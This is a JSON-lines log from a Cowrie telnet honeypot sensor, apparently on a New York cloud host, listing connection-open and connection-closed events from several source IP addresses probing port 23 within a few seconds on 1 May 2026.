{"eventid":"cowrie.session.closed","duration":30.645582675933838,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.666659Z","src_ip":"168.119.91.149","session":"478b900dd84a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":45158,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfd02a16df0e","protocol":"telnet","message":"New connection: 46.101.32.143:45158 (159.203.135.109:23) [session: bfd02a16df0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:56.737955Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55372,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ac8e32d6eff","protocol":"telnet","message":"New connection: 168.119.91.149:55372 (159.203.135.109:23) [session: 9ac8e32d6eff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.009693Z"}
{"eventid":"cowrie.session.closed","duration":30.73874282836914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.058078Z","src_ip":"147.135.136.77","session":"60cf8bbfcca8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.60457158088684,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.072701Z","src_ip":"147.135.136.77","session":"f110ec587026","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.18813920021057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.090303Z","src_ip":"81.30.157.18","session":"343851d640ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58582,"dst_ip":"159.203.135.109","dst_port":23,"session":"a93b335d912c","protocol":"telnet","message":"New connection: 81.30.157.18:58582 (159.203.135.109:23) [session: a93b335d912c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.195411Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58588,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb93c3fa82f3","protocol":"telnet","message":"New connection: 81.30.157.18:58588 (159.203.135.109:23) [session: cb93c3fa82f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.324872Z"}
{"eventid":"cowrie.session.closed","duration":30.803011894226074,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.504313Z","src_ip":"168.119.91.149","session":"050d0a6f1bc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58596,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d8ed4641257","protocol":"telnet","message":"New connection: 81.30.157.18:58596 (159.203.135.109:23) [session: 4d8ed4641257]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.554682Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55378,"dst_ip":"159.203.135.109","dst_port":23,"session":"82f4c9c65449","protocol":"telnet","message":"New connection: 168.119.91.149:55378 (159.203.135.109:23) [session: 82f4c9c65449]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.579098Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55388,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8c4cd479200","protocol":"telnet","message":"New connection: 168.119.91.149:55388 (159.203.135.109:23) [session: c8c4cd479200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:57.656090Z"}
{"eventid":"cowrie.session.closed","duration":30.50466299057007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.014582Z","src_ip":"51.79.21.139","session":"1a31cbc2a4c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":59190,"dst_ip":"159.203.135.109","dst_port":23,"session":"42dbb322255f","protocol":"telnet","message":"New connection: 37.187.24.227:59190 (159.203.135.109:23) [session: 42dbb322255f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.043280Z"}
{"eventid":"cowrie.session.closed","duration":30.50390863418579,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.098046Z","src_ip":"81.30.157.18","session":"5df0cdab3e89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55390,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d91f20dd125","protocol":"telnet","message":"New connection: 168.119.91.149:55390 (159.203.135.109:23) [session: 3d91f20dd125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.183648Z"}
{"eventid":"cowrie.session.closed","duration":30.50467276573181,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.210288Z","src_ip":"81.30.157.18","session":"b1eb45f397d6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.220582962036133,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.269512Z","src_ip":"147.135.136.77","session":"9553da1aa401","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55402,"dst_ip":"159.203.135.109","dst_port":23,"session":"63ea888ecec1","protocol":"telnet","message":"New connection: 168.119.91.149:55402 (159.203.135.109:23) [session: 63ea888ecec1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.707479Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":54560,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d2a8648282d","protocol":"telnet","message":"New connection: 85.208.100.77:54560 (159.203.135.109:23) [session: 0d2a8648282d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.757112Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58600,"dst_ip":"159.203.135.109","dst_port":23,"session":"d436774c4fec","protocol":"telnet","message":"New connection: 81.30.157.18:58600 (159.203.135.109:23) [session: d436774c4fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:58.855346Z"}
{"eventid":"cowrie.session.closed","duration":30.37418007850647,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.052803Z","src_ip":"81.30.157.18","session":"37668efdf6ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":55428,"dst_ip":"159.203.135.109","dst_port":23,"session":"912442852e9c","protocol":"telnet","message":"New connection: 168.119.91.149:55428 (159.203.135.109:23) [session: 912442852e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.068823Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58612,"dst_ip":"159.203.135.109","dst_port":23,"session":"0aeb50ebeed9","protocol":"telnet","message":"New connection: 81.30.157.18:58612 (159.203.135.109:23) [session: 0aeb50ebeed9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.095464Z"}
{"eventid":"cowrie.session.closed","duration":30.804155588150024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.122470Z","src_ip":"147.135.136.77","session":"fc9ffb300fb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":47940,"dst_ip":"159.203.135.109","dst_port":23,"session":"6469cc116c1e","protocol":"telnet","message":"New connection: 46.101.32.143:47940 (159.203.135.109:23) [session: 6469cc116c1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.184095Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49212,"dst_ip":"159.203.135.109","dst_port":23,"session":"0ff8ba5354da","protocol":"telnet","message":"New connection: 168.119.91.149:49212 (159.203.135.109:23) [session: 0ff8ba5354da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.313523Z"}
{"eventid":"cowrie.session.connect","src_ip":"85.208.100.77","src_port":55384,"dst_ip":"159.203.135.109","dst_port":23,"session":"c33bbc101ce1","protocol":"telnet","message":"New connection: 85.208.100.77:55384 (159.203.135.109:23) [session: c33bbc101ce1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.357248Z"}
{"eventid":"cowrie.session.closed","duration":30.259458780288696,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.509380Z","src_ip":"168.119.91.149","session":"7157765b3e20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48866,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e5c08005163","protocol":"telnet","message":"New connection: 147.135.136.77:48866 (159.203.135.109:23) [session: 5e5c08005163]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.578491Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49244,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f75c4d6fd52","protocol":"telnet","message":"New connection: 168.119.91.149:49244 (159.203.135.109:23) [session: 8f75c4d6fd52]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.597244Z"}
{"eventid":"cowrie.session.closed","duration":31.424394607543945,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.625556Z","src_ip":"81.30.157.18","session":"8bbbfe7b1f26","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31903076171875,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:55:59.682387Z","src_ip":"168.119.91.149","session":"60fd9471d10a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71714186668396,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.037848Z","src_ip":"147.135.136.77","session":"674052110013","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58630,"dst_ip":"159.203.135.109","dst_port":23,"session":"de0381793368","protocol":"telnet","message":"New connection: 81.30.157.18:58630 (159.203.135.109:23) [session: de0381793368]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.045469Z"}
{"eventid":"cowrie.session.closed","duration":30.51995086669922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.063024Z","src_ip":"149.102.133.101","session":"cf6ee6954a51","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.79.21.139","src_port":33612,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe5f26aa3129","protocol":"telnet","message":"New connection: 51.79.21.139:33612 (159.203.135.109:23) [session: fe5f26aa3129]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.183880Z"}
{"eventid":"cowrie.session.closed","duration":31.030508279800415,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.196543Z","src_ip":"81.30.157.18","session":"57bff3aa02f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.076955556869507,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.232980Z","src_ip":"37.187.24.227","session":"1e93c83bea6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":49346,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e5bf63cccc5","protocol":"telnet","message":"New connection: 46.101.32.143:49346 (159.203.135.109:23) [session: 8e5bf63cccc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.361628Z"}
{"eventid":"cowrie.session.closed","duration":32.26698303222656,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.506988Z","src_ip":"147.135.136.77","session":"faee6ee6d50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48924,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae821feca81b","protocol":"telnet","message":"New connection: 147.135.136.77:48924 (159.203.135.109:23) [session: ae821feca81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:00.581396Z"}
{"eventid":"cowrie.session.closed","duration":31.035581350326538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.083951Z","src_ip":"81.30.157.18","session":"af0045c692a6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.99383854866028,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.089692Z","src_ip":"147.135.136.77","session":"1aee1fa75dba","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.751018524169922,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.103271Z","src_ip":"81.30.157.18","session":"3117df47a71f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58700,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb0c8363667c","protocol":"telnet","message":"New connection: 81.30.157.18:58700 (159.203.135.109:23) [session: fb0c8363667c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.422497Z"}
{"eventid":"cowrie.session.closed","duration":31.44692850112915,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.425947Z","src_ip":"81.30.157.18","session":"80b88c9e4050","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.91953754425049,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.428858Z","src_ip":"147.135.136.77","session":"b5cb5f7a3d73","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.420554876327515,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.478256Z","src_ip":"81.30.157.18","session":"5384fedf586c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979801893234253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.515104Z","src_ip":"168.119.91.149","session":"7f7db94fb47c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49304,"dst_ip":"159.203.135.109","dst_port":23,"session":"1bf489bccf7c","protocol":"telnet","message":"New connection: 168.119.91.149:49304 (159.203.135.109:23) [session: 1bf489bccf7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.530624Z"}
{"eventid":"cowrie.session.connect","src_ip":"46.101.32.143","src_port":50706,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b8051c940d7","protocol":"telnet","message":"New connection: 46.101.32.143:50706 (159.203.135.109:23) [session: 6b8051c940d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.567636Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49314,"dst_ip":"159.203.135.109","dst_port":23,"session":"197a54904bed","protocol":"telnet","message":"New connection: 168.119.91.149:49314 (159.203.135.109:23) [session: 197a54904bed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.577662Z"}
{"eventid":"cowrie.session.closed","duration":30.62318754196167,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:01.709144Z","src_ip":"168.119.91.149","session":"910212622fe2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.40975284576416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.044529Z","src_ip":"168.119.91.149","session":"3d54951902ff","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.481637001037598,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.050580Z","src_ip":"46.101.32.143","session":"4dde7251bd04","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30237603187561,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.061009Z","src_ip":"147.135.136.77","session":"90c6e7e61991","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49352,"dst_ip":"159.203.135.109","dst_port":23,"session":"14d5369c2d91","protocol":"telnet","message":"New connection: 168.119.91.149:49352 (159.203.135.109:23) [session: 14d5369c2d91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.067661Z"}
{"eventid":"cowrie.session.closed","duration":30.730225324630737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.073611Z","src_ip":"147.135.136.77","session":"92445af13972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.819373607635498,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.097963Z","src_ip":"51.79.21.139","session":"b3d149cff466","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49362,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e3bd4e38360","protocol":"telnet","message":"New connection: 168.119.91.149:49362 (159.203.135.109:23) [session: 8e3bd4e38360]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.153055Z"}
{"eventid":"cowrie.session.connect","src_ip":"37.187.24.227","src_port":40310,"dst_ip":"159.203.135.109","dst_port":23,"session":"85591b23653e","protocol":"telnet","message":"New connection: 37.187.24.227:40310 (159.203.135.109:23) [session: 85591b23653e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.182261Z"}
{"eventid":"cowrie.session.closed","duration":31.75821590423584,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.215867Z","src_ip":"168.119.91.149","session":"9acaa2e235a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48930,"dst_ip":"159.203.135.109","dst_port":23,"session":"22570c64f8d6","protocol":"telnet","message":"New connection: 147.135.136.77:48930 (159.203.135.109:23) [session: 22570c64f8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.230749Z"}
{"eventid":"cowrie.session.closed","duration":30.83939003944397,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.350536Z","src_ip":"149.102.133.101","session":"2cb4a1dc11db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.31299877166748,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.500459Z","src_ip":"168.119.91.149","session":"0cdb9e12df37","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49386,"dst_ip":"159.203.135.109","dst_port":23,"session":"49ecdfd443dd","protocol":"telnet","message":"New connection: 168.119.91.149:49386 (159.203.135.109:23) [session: 49ecdfd443dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.511189Z"}
{"eventid":"cowrie.session.closed","duration":30.461135625839233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.519198Z","src_ip":"168.119.91.149","session":"24317257433b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58748,"dst_ip":"159.203.135.109","dst_port":23,"session":"7cab4070f702","protocol":"telnet","message":"New connection: 81.30.157.18:58748 (159.203.135.109:23) [session: 7cab4070f702]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:02.532379Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58770,"dst_ip":"159.203.135.109","dst_port":23,"session":"c64ec18c64bb","protocol":"telnet","message":"New connection: 81.30.157.18:58770 (159.203.135.109:23) [session: c64ec18c64bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.059215Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49484,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f0d370d3598","protocol":"telnet","message":"New connection: 168.119.91.149:49484 (159.203.135.109:23) [session: 0f0d370d3598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.067075Z"}
{"eventid":"cowrie.session.closed","duration":31.052613258361816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.073377Z","src_ip":"147.135.136.77","session":"c0b451dd3940","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.723777294158936,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.100502Z","src_ip":"85.208.100.77","session":"1d029b266619","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49500,"dst_ip":"159.203.135.109","dst_port":23,"session":"029387870cda","protocol":"telnet","message":"New connection: 168.119.91.149:49500 (159.203.135.109:23) [session: 029387870cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.108687Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58772,"dst_ip":"159.203.135.109","dst_port":23,"session":"79eb5f136102","protocol":"telnet","message":"New connection: 81.30.157.18:58772 (159.203.135.109:23) [session: 79eb5f136102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.114328Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49510,"dst_ip":"159.203.135.109","dst_port":23,"session":"956d4989266b","protocol":"telnet","message":"New connection: 168.119.91.149:49510 (159.203.135.109:23) [session: 956d4989266b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.197087Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58784,"dst_ip":"159.203.135.109","dst_port":23,"session":"fa837212b872","protocol":"telnet","message":"New connection: 81.30.157.18:58784 (159.203.135.109:23) [session: fa837212b872]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.264814Z"}
{"eventid":"cowrie.session.connect","src_ip":"81.30.157.18","src_port":58794,"dst_ip":"159.203.135.109","dst_port":23,"session":"366d7232c578","protocol":"telnet","message":"New connection: 81.30.157.18:58794 (159.203.135.109:23) [session: 366d7232c578]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.268885Z"}
{"eventid":"cowrie.session.connect","src_ip":"168.119.91.149","src_port":49518,"dst_ip":"159.203.135.109","dst_port":23,"session":"9477ee1d2deb","protocol":"telnet","message":"New connection: 168.119.91.149:49518 (159.203.135.109:23) [session: 9477ee1d2deb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.338079Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.135.136.77","src_port":48948,"dst_ip":"159.203.135.109","dst_port":23,"session":"73ae9e57c1e6","protocol":"telnet","message":"New connection: 147.135.136.77:48948 (159.203.135.109:23) [session: 73ae9e57c1e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.364535Z"}
{"eventid":"cowrie.session.closed","duration":31.02828025817871,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.489818Z","src_ip":"168.119.91.149","session":"dd9da6073b08","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.338001251220703,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T20:56:03.508229Z","src_ip":"147.135.136.77","session":"006b9c04f550","protocol":"telnet"}
